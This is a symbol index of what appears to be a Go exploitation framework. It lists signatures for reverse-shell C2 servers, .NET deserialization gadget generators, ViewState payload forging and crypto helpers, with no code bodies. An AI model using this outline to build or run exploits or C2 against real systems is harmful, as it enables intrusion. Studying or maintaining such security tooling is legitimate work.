SYMBOL INDEX (1760 symbols across 154 files) FILE: _uaupdate/main.go function main (line 11) | func main() { FILE: aspnet/aspnet.go type State (line 57) | type State struct method AsParams (line 81) | func (state *State) AsParams() map[string]string { method MergeParams (line 106) | func (state *State) MergeParams(p map[string]string) map[string]string { method Update (line 114) | func (state *State) Update(body string) { function xPathQuiet (line 67) | func xPathQuiet(document, path string) (string, bool) { FILE: aspnet/aspnet_test.go function TestState_Full (line 50) | func TestState_Full(t *testing.T) { function TestState_Each (line 104) | func TestState_Each(t *testing.T) { function TestState_Merge (line 163) | func TestState_Merge(t *testing.T) { FILE: c2/channel/channel.go type Channel (line 17) | type Channel struct method HadSessions (line 43) | func (c *Channel) HadSessions() bool { method HasSessions (line 56) | func (c *Channel) HasSessions() bool { method AddSession (line 69) | func (c *Channel) AddSession(conn *net.Conn, addr string) bool { method UpdateLastSeenByConn (line 97) | func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.T... method GetSessionIDByConn (line 117) | func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) { method RemoveSession (line 136) | func (c *Channel) RemoveSession(id string) bool { method RemoveSessions (line 158) | func (c *Channel) RemoveSessions() bool { type Session (line 30) | type Session struct FILE: c2/cli/basic.go function backgroundResponse (line 19) | func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn ne... function Basic (line 65) | func Basic(conn net.Conn, ch *channel.Channel) { FILE: c2/external/external.go type Server (line 165) | type Server struct method SetFlags (line 213) | func (externalServer *Server) SetFlags(f func()) { method CreateFlags (line 222) | func (externalServer *Server) CreateFlags() { method SetInit (line 232) | func (externalServer *Server) SetInit(f func()) { method SetChannel (line 245) | func (externalServer *Server) SetChannel(f func(*channel.Channel)) { method Init (line 250) | func (externalServer *Server) Init(channel *channel.Channel) bool { method SetRun (line 265) | func (externalServer *Server) SetRun(f func(int) bool) { method Run (line 270) | func (externalServer *Server) Run(timeout int) { method SetShutdown (line 277) | func (externalServer *Server) SetShutdown(f func() bool) { method Shutdown (line 282) | func (externalServer *Server) Shutdown() bool { method Channel (line 287) | func (externalServer *Server) Channel() *channel.Channel { type External (line 178) | type External interface function GetInstance (line 191) | func GetInstance(externalName string) *Server { FILE: c2/factory.go type Interface (line 17) | type Interface interface type Impl (line 27) | type Impl struct type category (line 33) | type category constant InvalidCategory (line 36) | InvalidCategory category = -1 constant SimpleShellServerCategory (line 37) | SimpleShellServerCategory category = 0 constant SimpleShellClientCategory (line 38) | SimpleShellClientCategory category = 1 constant SSLShellServerCategory (line 39) | SSLShellServerCategory category = 2 constant HTTPServeFileCategory (line 40) | HTTPServeFileCategory category = 3 constant HTTPServeShellCategory (line 41) | HTTPServeShellCategory category = 4 constant ExternalCategory (line 42) | ExternalCategory category = 5 constant ShellTunnelCategory (line 43) | ShellTunnelCategory category = 6 constant HTTPShellServerCategory (line 44) | HTTPShellServerCategory category = 7 function AddC2 (line 81) | func AddC2(name string) Impl { function GetInstance (line 97) | func GetInstance(implementation Impl) (Interface, bool) { function CreateFlags (line 128) | func CreateFlags(implementation Impl) { function HadSessions (line 157) | func HadSessions(implementation Impl) bool { function HasSessions (line 188) | func HasSessions(implementation Impl) bool { function StringToImpl (line 217) | func StringToImpl(c2Name string) (Impl, bool) { FILE: c2/factory_test.go function TestHTTPServeFileInit (line 10) | func TestHTTPServeFileInit(t *testing.T) { function TestExternalModuleSingleton (line 47) | func TestExternalModuleSingleton(t *testing.T) { function TestExternalModuleAddC2 (line 66) | func TestExternalModuleAddC2(t *testing.T) { FILE: c2/httpservefile/httpservefile.go type HostedFile (line 43) | type HostedFile struct type Server (line 52) | type Server struct method CreateFlags (line 89) | func (httpServer *Server) CreateFlags() { method Channel (line 102) | func (httpServer *Server) Channel() *channel.Channel { method Shutdown (line 107) | func (httpServer *Server) Shutdown() bool { method Init (line 123) | func (httpServer *Server) Init(channel *channel.Channel) bool { method AddFile (line 211) | func (httpServer *Server) AddFile(realName string, randomName string, ... method Run (line 217) | func (httpServer *Server) Run(timeout int) { method GetRandomName (line 319) | func (httpServer *Server) GetRandomName(filename string) string { function GetInstance (line 78) | func GetInstance() *Server { FILE: c2/httpserveshell/httpserveshell.go type Server (line 46) | type Server struct method CreateFlags (line 70) | func (serveShell *Server) CreateFlags() { method Init (line 82) | func (serveShell *Server) Init(ch *channel.Channel) bool { method Shutdown (line 121) | func (serveShell *Server) Shutdown() bool { method Channel (line 197) | func (serveShell *Server) Channel() *channel.Channel { method Run (line 202) | func (serveShell *Server) Run(timeout int) { function GetInstance (line 61) | func GetInstance() *Server { FILE: c2/httpshellserver/httpshellserver.go type Server (line 31) | type Server struct method Init (line 63) | func (httpServer *Server) Init(channel *channel.Channel) bool { method CreateFlags (line 121) | func (httpServer *Server) CreateFlags() { method Channel (line 129) | func (httpServer *Server) Channel() *channel.Channel { method Shutdown (line 134) | func (httpServer *Server) Shutdown() bool { method Run (line 152) | func (httpServer *Server) Run(timeout int) { function GetInstance (line 55) | func GetInstance() *Server { FILE: c2/shelltunnel/shelltunnel.go type Server (line 67) | type Server struct method CreateFlags (line 107) | func (shellTunnel *Server) CreateFlags() { method Init (line 118) | func (shellTunnel *Server) Init(channel *channel.Channel) bool { method Shutdown (line 161) | func (shellTunnel *Server) Shutdown() bool { method Channel (line 178) | func (shellTunnel *Server) Channel() *channel.Channel { method Run (line 182) | func (shellTunnel *Server) Run(timeout int) { method createTLSListener (line 226) | func (shellTunnel *Server) createTLSListener(channel *channel.Channel)... function GetInstance (line 99) | func GetInstance() *Server { function handleTunnelConn (line 257) | func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bo... FILE: c2/simpleshell/simpleshellclient.go type Client (line 14) | type Client struct method CreateFlags (line 30) | func (shellClient *Client) CreateFlags() { method Shutdown (line 33) | func (shellClient *Client) Shutdown() bool { method Channel (line 46) | func (shellClient *Client) Channel() *channel.Channel { method Init (line 50) | func (shellClient *Client) Init(channel *channel.Channel) bool { method Run (line 78) | func (shellClient *Client) Run(timeout int) { function GetClientInstance (line 22) | func GetClientInstance() *Client { function connect (line 103) | func connect(host string, port int, timeout int) (net.Conn, bool) { FILE: c2/simpleshell/simpleshellserver.go type Server (line 22) | type Server struct method CreateFlags (line 39) | func (shellServer *Server) CreateFlags() { method Channel (line 43) | func (shellServer *Server) Channel() *channel.Channel { method Shutdown (line 48) | func (shellServer *Server) Shutdown() bool { method Init (line 66) | func (shellServer *Server) Init(channel *channel.Channel) bool { method Run (line 95) | func (shellServer *Server) Run(timeout int) { function GetServerInstance (line 30) | func GetServerInstance() *Server { function handleSimpleConn (line 137) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net... FILE: c2/sslshell/sslshellserver.go type Server (line 35) | type Server struct method CreateFlags (line 58) | func (shellServer *Server) CreateFlags() { method Shutdown (line 68) | func (shellServer *Server) Shutdown() bool { method Channel (line 86) | func (shellServer *Server) Channel() *channel.Channel { method Init (line 92) | func (shellServer *Server) Init(channel *channel.Channel) bool { method Run (line 142) | func (shellServer *Server) Run(timeout int) { function GetInstance (line 49) | func GetInstance() *Server { function handleSimpleConn (line 184) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net... FILE: cli/commandline.go type IPIntel (line 28) | type IPIntel struct type CustomFlag (line 35) | type CustomFlag struct function inc (line 42) | func inc(ip net.IP) { function generateIPv4CIDR (line 52) | func generateIPv4CIDR(cidr string) []string { function buildRhosts (line 68) | func buildRhosts(conf *config.Config, rhosts string, rports string) bool { function parseTriplet (line 129) | func parseTriplet(conf *config.Config, line string) bool { function parseTuple (line 163) | func parseTuple(conf *config.Config, line string) bool { function parseIPIntel (line 196) | func parseIPIntel(conf *config.Config, line string) bool { function parseRhostsFile (line 230) | func parseRhostsFile(conf *config.Config, rhostsFile string) bool { function handleRhostsOptions (line 273) | func handleRhostsOptions(conf *config.Config, rhosts string, rports stri... function commonValidate (line 284) | func commonValidate(conf *config.Config, rhosts string, rports string, r... function proxyFlags (line 330) | func proxyFlags(proxy *string) { function handleProxyOptions (line 337) | func handleProxyOptions(proxy string) { function loggingFlags (line 347) | func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLog... function handleLogOptions (line 360) | func handleLogOptions(logFile string, frameworkLogLevel string, exploitL... function remoteHostFlags (line 385) | func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *st... function localHostFlags (line 399) | func localHostFlags(conf *config.Config) { function exploitFunctionality (line 405) | func exploitFunctionality(conf *config.Config) { function sslFlags (line 412) | func sslFlags(conf *config.Config) { function dbFlags (line 418) | func dbFlags(conf *config.Config) { function c2Flags (line 424) | func c2Flags(c2Selection *string, conf *config.Config) { function validateC2Selection (line 459) | func validateC2Selection(c2Selection string, conf *config.Config) bool { function printDetails (line 484) | func printDetails(conf *config.Config) { function CodeExecutionCmdLineParse (line 541) | func CodeExecutionCmdLineParse(conf *config.Config) bool { function InformationDisclosureCmdLineParse (line 608) | func InformationDisclosureCmdLineParse(conf *config.Config) bool { function WebShellCmdLineParse (line 651) | func WebShellCmdLineParse(conf *config.Config) bool { function loadFileFormatTemplate (line 694) | func loadFileFormatTemplate(templateFilePath string, conf *config.Config... function FormatFileCmdLineParse (line 729) | func FormatFileCmdLineParse(conf *config.Config) bool { function LocalCmdLineParse (line 797) | func LocalCmdLineParse(conf *config.Config) bool { function addDefaultPayloadFlags (line 845) | func addDefaultPayloadFlags(conf *config.Config) (string, string, map[pa... function addPayloadFlags (line 906) | func addPayloadFlags(conf *config.Config) { FILE: cli/commandline_test.go function TestCodeExecutionCmdLineParse (line 11) | func TestCodeExecutionCmdLineParse(t *testing.T) { function TestCommonValidate (line 46) | func TestCommonValidate(t *testing.T) { function TestRhostsParsing (line 76) | func TestRhostsParsing(t *testing.T) { function TestParseTuple (line 146) | func TestParseTuple(t *testing.T) { function TestParseTriplet (line 198) | func TestParseTriplet(t *testing.T) { function TestParseIntelJSON (line 250) | func TestParseIntelJSON(t *testing.T) { function TestFileFormatParams (line 290) | func TestFileFormatParams(t *testing.T) { FILE: config/config.go type ExploitType (line 18) | type ExploitType method String (line 129) | func (eType ExploitType) String() string { constant CodeExecution (line 21) | CodeExecution ExploitType = 0 constant InformationDisclosure (line 22) | InformationDisclosure ExploitType = 1 constant Webshell (line 23) | Webshell ExploitType = 2 constant FileFormat (line 24) | FileFormat ExploitType = 3 constant Local (line 25) | Local ExploitType = 4 type ImplementedFeatures (line 28) | type ImplementedFeatures struct type SSLSupport (line 34) | type SSLSupport constant SSLDisabled (line 37) | SSLDisabled SSLSupport = 0 constant SSLEnabled (line 38) | SSLEnabled SSLSupport = 1 constant SSLAutodiscover (line 39) | SSLAutodiscover SSLSupport = 2 type RhostTriplet (line 42) | type RhostTriplet struct type Config (line 51) | type Config struct method InitFlagsStructs (line 228) | func (conf *Config) InitFlagsStructs() { method CreateStringFlag (line 237) | func (conf *Config) CreateStringFlag(name string, value string, usage ... method CreateStringVarFlag (line 249) | func (conf *Config) CreateStringVarFlag(param *string, name string, va... method CreateUintFlag (line 260) | func (conf *Config) CreateUintFlag(name string, value uint, usage stri... method CreateUintVarFlag (line 272) | func (conf *Config) CreateUintVarFlag(param *uint, name string, value ... method CreateIntFlag (line 283) | func (conf *Config) CreateIntFlag(name string, value int, usage string) { method CreateIntVarFlag (line 295) | func (conf *Config) CreateIntVarFlag(param *int, name string, value in... method CreateBoolFlag (line 306) | func (conf *Config) CreateBoolFlag(name string, value bool, usage stri... method CreateBoolVarFlag (line 318) | func (conf *Config) CreateBoolVarFlag(param *bool, name string, value ... method GetStringFlag (line 328) | func (conf *Config) GetStringFlag(name string) string { method GetUintFlag (line 340) | func (conf *Config) GetUintFlag(name string) uint { method GetIntFlag (line 352) | func (conf *Config) GetIntFlag(name string) int { method GetBoolFlag (line 364) | func (conf *Config) GetBoolFlag(name string) bool { method ApplyTemplate (line 401) | func (conf *Config) ApplyTemplate(name string) string { method GenerateURL (line 421) | func (conf *Config) GenerateURL(path string) string { method DisableC2Start (line 431) | func (conf *Config) DisableC2Start() { method ResolveC2Payload (line 439) | func (conf *Config) ResolveC2Payload() c2.Impl { method AddPayload (line 521) | func (conf *Config) AddPayload(p ...payload.Supported) { method HasCustomPayload (line 541) | func (conf *Config) HasCustomPayload() bool { function New (line 147) | func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve ... function NewLocal (line 160) | func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string,... function NewRemoteExploit (line 178) | func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitTyp... function deDupeProductName (line 199) | func deDupeProductName(product []string, vendor string) string { function NewLocalExploit (line 209) | func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType... FILE: config/config_test.go function TestDefaultFlags (line 11) | func TestDefaultFlags(t *testing.T) { function TestExternalDefaultFlags (line 42) | func TestExternalDefaultFlags(t *testing.T) { function TestApplyTemplate (line 77) | func TestApplyTemplate(t *testing.T) { function TestGenerateURL (line 102) | func TestGenerateURL(t *testing.T) { FILE: db/create.go constant schemaVersion (line 38) | schemaVersion = "1.0.0" constant metadataTable (line 40) | metadataTable = `CREATE TABLE IF NOT EXISTS metadata (created INTEGE... constant initMetadataTable (line 41) | initMetadataTable = `INSERT INTO metadata (created, schema_version) VALU... constant checkMetadata (line 42) | checkMetadata = `SELECT name FROM sqlite_master WHERE type ='table' ... constant getSchemaVersion (line 43) | getSchemaVersion = `SELECT schema_version FROM metadata;` constant verifiedTable (line 45) | verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` + constant httpCacheTable (line 54) | httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` + function InitializeDB (line 63) | func InitializeDB(name string) bool { function checkMetadataExists (line 92) | func checkMetadataExists(handle *sql.DB) bool { function createMetadataTable (line 99) | func createMetadataTable(handle *sql.DB) bool { function checkSchemaVersion (line 117) | func checkSchemaVersion(handle *sql.DB) bool { function createVerifiedSoftwareTable (line 135) | func createVerifiedSoftwareTable(handle *sql.DB) bool { function createHTTPCacheTable (line 146) | func createHTTPCacheTable(handle *sql.DB) bool { FILE: db/get.go constant getCacheData (line 4) | getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ... constant getInstalled (line 5) | getInstalled = `SELECT installed FROM verified WHERE software_name = ? A... function GetHTTPResponse (line 9) | func GetHTTPResponse(rhost string, rport int, path string) (string, bool) { function GetVerified (line 22) | func GetVerified(product string, rhost string, rport int) (bool, bool) { FILE: db/update.go constant verifiedUpsert (line 12) | verifiedUpsert = `INSERT INTO verified (id, created, software_name, inst... constant cacheUpsert (line 21) | cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, d... function UpdateVerified (line 30) | func UpdateVerified(software string, installed bool, version string, rho... function CacheHTTPResponse (line 46) | func CacheHTTPResponse(rhost string, rport int, path string, httpResp []... FILE: dotnet/dotnetgadget.go function ReadGadget (line 52) | func ReadGadget(gadgetName, formatter string) ([]byte, error) { function lengthPrefixedString (line 61) | func lengthPrefixedString(input string) string { function Write7BitEncodedInt (line 69) | func Write7BitEncodedInt(value int) []byte { function TextFormattingRunPropertiesBinaryFormatter (line 86) | func TextFormattingRunPropertiesBinaryFormatter(cmd string) string { function IsValidXML (line 108) | func IsValidXML(data []byte) bool { function CreateAxHostStateDLL (line 112) | func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bo... function CreateDLLReflection (line 170) | func CreateDLLReflection(dllBytes []byte, formatter string) (string, boo... function CreateDataSetXMLDiffGram (line 1052) | func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) { function CreateTextFormattingRunProperties (line 1125) | func CreateTextFormattingRunProperties(program string, args string, form... function CreateDataSet (line 1178) | func CreateDataSet(program string, args string, formatter string) (strin... function CreateObjectDataProvider (line 1315) | func CreateObjectDataProvider(program string, args string, formatter str... function CreateTypeConfuseDelegate (line 1350) | func CreateTypeConfuseDelegate(program string, args string, formatter st... function CreateWindowsIdentity (line 1613) | func CreateWindowsIdentity(program string, args string, formatter string... function CreateClaimsPrincipal (line 1678) | func CreateClaimsPrincipal(program string, args string, formatter string... function CreateDataSetTypeSpoof (line 1742) | func CreateDataSetTypeSpoof(program string, args string, formatter strin... function CreateVeeamCryptoKeyInfo (line 1887) | func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, boo... function CreateObjectRef (line 2038) | func CreateObjectRef(url string, formatter string) (string, bool) { FILE: dotnet/dotnetgadget_test.go function TestTextFormattingRunPropertiesBinaryFormatter (line 9) | func TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) { function TestGetBinaryLibraryRecord (line 25) | func TestGetBinaryLibraryRecord(t *testing.T) { function TestGetClassInfo (line 34) | func TestGetClassInfo(t *testing.T) { function TestGetMemberTypeInfo (line 43) | func TestGetMemberTypeInfo(t *testing.T) { function TestGetSerializationHeaderRecord (line 53) | func TestGetSerializationHeaderRecord(t *testing.T) { function TestGetBinaryObjectString (line 62) | func TestGetBinaryObjectString(t *testing.T) { function TestCreateTextFormattingRunProperties (line 86) | func TestCreateTextFormattingRunProperties(t *testing.T) { function TestFormatLOS (line 94) | func TestFormatLOS(t *testing.T) { function TestFormatSOAPWindowsIdentity (line 103) | func TestFormatSOAPWindowsIdentity(t *testing.T) { function TestFormatSOAPDataSet (line 110) | func TestFormatSOAPDataSet(t *testing.T) { function TestFormatSOAP (line 117) | func TestFormatSOAP(t *testing.T) { function TestCreateDataSet (line 124) | func TestCreateDataSet(t *testing.T) { function TestCreateObjectDataProvider (line 137) | func TestCreateObjectDataProvider(t *testing.T) { function TestCreateTypeConfuseDelegate (line 144) | func TestCreateTypeConfuseDelegate(t *testing.T) { function TestCreateClaimsPrincipal (line 151) | func TestCreateClaimsPrincipal(t *testing.T) { function TestCreateCreateDataSetTypeSpoof (line 158) | func TestCreateCreateDataSetTypeSpoof(t *testing.T) { function TestPrimitiveByte (line 165) | func TestPrimitiveByte(t *testing.T) { function TestCreateObjectRef (line 172) | func TestCreateObjectRef(t *testing.T) { function TestCreateVeeamCryptoKeyInfo (line 179) | func TestCreateVeeamCryptoKeyInfo(t *testing.T) { function TestViewstateGeneration (line 186) | func TestViewstateGeneration(t *testing.T) { function TestCreateAxHostStateDLL (line 204) | func TestCreateAxHostStateDLL(t *testing.T) { function TestPrimToString (line 214) | func TestPrimToString(t *testing.T) { FILE: dotnet/formatters.go constant LOSFormatter (line 18) | LOSFormatter = "LOSFormatter" constant BinaryFormatter (line 19) | BinaryFormatter = "BinaryFormatter" constant SOAPFormatter (line 20) | SOAPFormatter = "SOAPFormatter" constant SOAPFormatterWithExceptions (line 21) | SOAPFormatterWithExceptions = "SOAPFormatterWithExceptions" function FormatLOS (line 24) | func FormatLOS(input string) string { type SOAPEnvelope (line 34) | type SOAPEnvelope struct type Body (line 46) | type Body struct method addClassWithMemberAndTypes (line 89) | func (body *Body) addClassWithMemberAndTypes(n int, record ClassWithMe... type ClassDataNode (line 50) | type ClassDataNode struct method addAttribute (line 75) | func (classData *ClassDataNode) addAttribute(name string, value string) { type MemberNode (line 58) | type MemberNode struct method addAttribute (line 68) | func (memberNode *MemberNode) addAttribute(name string, value string) { function escapeTags (line 82) | func escapeTags(input string) string { function FormatSOAP (line 151) | func FormatSOAP(records []Record) (string, SOAPEnvelope, bool) { function FormatSOAPWithExceptions (line 207) | func FormatSOAPWithExceptions(records []Record) (string, bool) { FILE: dotnet/general_types.go type Primitive (line 14) | type Primitive interface type PrimitiveInt16 (line 19) | type PrimitiveInt16 method PrimToString (line 25) | func (me PrimitiveInt16) PrimToString() string { type PrimitiveInt32 (line 20) | type PrimitiveInt32 method PrimToString (line 36) | func (me PrimitiveInt32) PrimToString() string { type PrimitiveByte (line 21) | type PrimitiveByte method PrimToString (line 40) | func (me PrimitiveByte) PrimToString() string { type PrimitiveByteString (line 22) | type PrimitiveByteString method PrimToString (line 32) | func (me PrimitiveByteString) PrimToString() string { type ClassInfo (line 108) | type ClassInfo struct method GetLeadingClassName (line 241) | func (classInfo ClassInfo) GetLeadingClassName() string { method GetBaseClassName (line 256) | func (classInfo ClassInfo) GetBaseClassName() string { method ToBin (line 270) | func (classInfo ClassInfo) ToBin() string { type ClassTypeInfo (line 120) | type ClassTypeInfo struct type MemberTypeInfo (line 127) | type MemberTypeInfo struct method ToBin (line 193) | func (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) { function needsAdditionalInfo (line 134) | func needsAdditionalInfo(inType string) bool { function getMemberTypeInfo (line 152) | func getMemberTypeInfo(memberTypes []string, memberNames []string, addit... FILE: dotnet/records.go type Record (line 12) | type Record interface type MemberPrimitiveTypedRecord (line 19) | type MemberPrimitiveTypedRecord struct method GetRecordType (line 148) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecord... method ToXML (line 185) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToXML(_ C... method ToRecordBin (line 398) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToRecordB... type BinaryArrayRecord (line 24) | type BinaryArrayRecord struct method GetRecordType (line 108) | func (binaryArrayRecord BinaryArrayRecord) GetRecordType() int { method ToXML (line 191) | func (binaryArrayRecord BinaryArrayRecord) ToXML(_ ClassInfo, _ Member... method ToRecordBin (line 299) | func (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) { type ClassWithIDRecord (line 34) | type ClassWithIDRecord struct method GetRecordType (line 120) | func (classWithIDRecord ClassWithIDRecord) GetRecordType() int { method ToXML (line 209) | func (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ Member... method ToRecordBin (line 436) | func (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) { type BinaryLibraryRecord (line 40) | type BinaryLibraryRecord struct method GetRecordType (line 140) | func (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int { method ToXML (line 248) | func (binaryLibraryRecord BinaryLibraryRecord) ToXML(_ ClassInfo, _ Me... method ToRecordBin (line 428) | func (binaryLibraryRecord BinaryLibraryRecord) ToRecordBin() (string, ... type SystemClassWithMembersAndTypesRecord (line 45) | type SystemClassWithMembersAndTypesRecord struct method GetRecordType (line 132) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy... method ToXML (line 236) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy... method ToRecordBin (line 482) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy... type ClassWithMembersAndTypesRecord (line 51) | type ClassWithMembersAndTypesRecord struct method GetRecordType (line 128) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) G... method ToXML (line 225) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T... method ToRecordBin (line 527) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T... type SerializationHeaderRecord (line 59) | type SerializationHeaderRecord struct method GetRecordType (line 136) | func (serializationHeaderRecord SerializationHeaderRecord) GetRecordTy... method ToXML (line 242) | func (serializationHeaderRecord SerializationHeaderRecord) ToXML(_ Cla... method ToRecordBin (line 418) | func (serializationHeaderRecord SerializationHeaderRecord) ToRecordBin... type MemberReferenceRecord (line 64) | type MemberReferenceRecord struct method GetRecordType (line 144) | func (memberReferenceRecord MemberReferenceRecord) GetRecordType() int { method ToXML (line 254) | func (memberReferenceRecord MemberReferenceRecord) ToXML(classInfo Cla... method ToRecordBin (line 406) | func (memberReferenceRecord MemberReferenceRecord) ToRecordBin() (stri... type ObjectNullMultiple256Record (line 68) | type ObjectNullMultiple256Record struct method GetRecordType (line 100) | func (objectNullMultiple256Record ObjectNullMultiple256Record) GetReco... method ToXML (line 179) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToXML(_... method ToRecordBin (line 386) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecor... type ObjectNullRecord (line 72) | type ObjectNullRecord struct method GetRecordType (line 152) | func (objectNullRecord ObjectNullRecord) GetRecordType() int { method ToXML (line 262) | func (objectNullRecord ObjectNullRecord) ToXML(classInfo ClassInfo, _ ... method ToRecordBin (line 413) | func (objectNullRecord ObjectNullRecord) ToRecordBin() (string, bool) { type BinaryObjectString (line 74) | type BinaryObjectString struct method GetRecordType (line 124) | func (binaryObjectString BinaryObjectString) GetRecordType() int { method ToXML (line 215) | func (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo... method ToRecordBin (line 474) | func (binaryObjectString BinaryObjectString) ToRecordBin() (string, bo... type ArrayInfo (line 79) | type ArrayInfo struct type ArraySinglePrimitiveRecord (line 84) | type ArraySinglePrimitiveRecord struct method GetRecordType (line 104) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) GetRecord... method ToXMLBespoke (line 158) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXMLBesp... method ToXML (line 173) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXML(_ C... method ToRecordBin (line 377) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToRecordB... type ArraySingleStringRecord (line 90) | type ArraySingleStringRecord struct method GetRecordType (line 116) | func (arraySingleStringRecord ArraySingleStringRecord) GetRecordType()... method ToXML (line 203) | func (arraySingleStringRecord ArraySingleStringRecord) ToXML(_ ClassIn... method ToRecordBin (line 272) | func (arraySingleStringRecord ArraySingleStringRecord) ToRecordBin() (... type ArraySingleObjectRecord (line 95) | type ArraySingleObjectRecord struct method GetRecordType (line 112) | func (arraySingleObjectRecord ArraySingleObjectRecord) GetRecordType()... method ToXML (line 197) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToXML(_ ClassIn... method ToRecordBin (line 354) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (... FILE: dotnet/viewstate.go function GenerateViewstateHMAC (line 24) | func GenerateViewstateHMAC(data string, algo string, hexKey string) (str... function GeneratorToArray (line 53) | func GeneratorToArray(input string) ([]byte, bool) { function CreateViewstatePayload (line 75) | func CreateViewstatePayload(payloadData string, machineKey string, gener... function getPurpose (line 112) | func getPurpose(webPath string) string { function EncryptViewState (line 124) | func EncryptViewState(plaintext []byte, encryptionKey []byte, validation... function Protect (line 188) | func Protect(decryptionKeyHex string, validationKeyHex string, validatio... function DeriveKeys (line 207) | func DeriveKeys(decryptionKeyHex string, validationKeyHex string, webPat... FILE: dotnet/viewstate_test.go constant DerivedValidationKey (line 14) | DerivedValidationKey = "ffcfaa1d6a36fe58d5bad121dec3bb0512153ea8c7c9a8f3... constant DerivedDecryptionKey (line 15) | DerivedDecryptionKey = "245428c1b66d73cd0c1da7005023f58ee8b676567baf600f" function ExampleProtect (line 19) | func ExampleProtect() { function TestGetPurpose (line 36) | func TestGetPurpose(t *testing.T) { function TestSP800108HMACSHA512 (line 52) | func TestSP800108HMACSHA512(t *testing.T) { function TestEncryptViewstate (line 66) | func TestEncryptViewstate(t *testing.T) { function TestDeriveKeys (line 87) | func TestDeriveKeys(t *testing.T) { function TestProtect (line 110) | func TestProtect(t *testing.T) { FILE: encryption/aes.go type Padding (line 11) | type Padding struct function noPad (line 28) | func noPad(data []byte, blockSize int) ([]byte, bool) { function PKCS7Pad (line 39) | func PKCS7Pad(data []byte, blockSize int) ([]byte, bool) { function PKCS7Unpad (line 53) | func PKCS7Unpad(data []byte, blockSize int) ([]byte, bool) { FILE: encryption/aes_crypto.go function newAESBlock (line 12) | func newAESBlock(key []byte) (cipher.Block, bool) { function newAESGCM (line 23) | func newAESGCM(key []byte) (cipher.AEAD, bool) { function resolvePadding (line 39) | func resolvePadding(p []Padding) Padding { function AESCBCEncrypt (line 50) | func AESCBCEncrypt(plaintext, key []byte, padding ...Padding) ([]byte, b... function AESCBCEncryptWithIV (line 57) | func AESCBCEncryptWithIV(plaintext, key, iv []byte, padding ...Padding) ... function aesCBCEncrypt (line 61) | func aesCBCEncrypt(plaintext, key, iv []byte, prependIV bool, pad Paddin... function AESCBCDecrypt (line 97) | func AESCBCDecrypt(ciphertext, key []byte, padding ...Padding) ([]byte, ... function AESCBCDecryptWithIV (line 109) | func AESCBCDecryptWithIV(ciphertext, key, iv []byte, padding ...Padding)... function aesCBCDecrypt (line 119) | func aesCBCDecrypt(ciphertext, key, iv []byte, pad Padding) ([]byte, boo... function AESGCMEncrypt (line 133) | func AESGCMEncrypt(plaintext, key []byte) ([]byte, bool) { function AESGCMDecrypt (line 151) | func AESGCMDecrypt(ciphertext, key []byte) ([]byte, bool) { FILE: encryption/aes_crypto_test.go function TestAESCBCRoundtrip (line 12) | func TestAESCBCRoundtrip(t *testing.T) { function TestAESCBCWithIVRoundtrip (line 39) | func TestAESCBCWithIVRoundtrip(t *testing.T) { function TestAESCBCBadKey (line 66) | func TestAESCBCBadKey(t *testing.T) { function TestAESCBCInvalidKeySize (line 90) | func TestAESCBCInvalidKeySize(t *testing.T) { function TestAESGCMRoundtrip (line 97) | func TestAESGCMRoundtrip(t *testing.T) { function TestAESGCMTampered (line 120) | func TestAESGCMTampered(t *testing.T) { function TestAESGCMBadKey (line 140) | func TestAESGCMBadKey(t *testing.T) { function TestPKCS7PadUnpadRoundtrip (line 162) | func TestPKCS7PadUnpadRoundtrip(t *testing.T) { function TestAESCBCNoPadding (line 180) | func TestAESCBCNoPadding(t *testing.T) { function TestAESCBCNoPaddingUnaligned (line 204) | func TestAESCBCNoPaddingUnaligned(t *testing.T) { function TestAESKeySizes (line 219) | func TestAESKeySizes(t *testing.T) { FILE: encryption/certificate.go function GenerateCertificate (line 17) | func GenerateCertificate() (tls.Certificate, bool) { FILE: encryption/des.go function PKCS5Padding (line 12) | func PKCS5Padding(src []byte, blockSize int) []byte { function TripleDesEncryption (line 20) | func TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) { FILE: encryption/kdf.go function SP800108HMACSHA512 (line 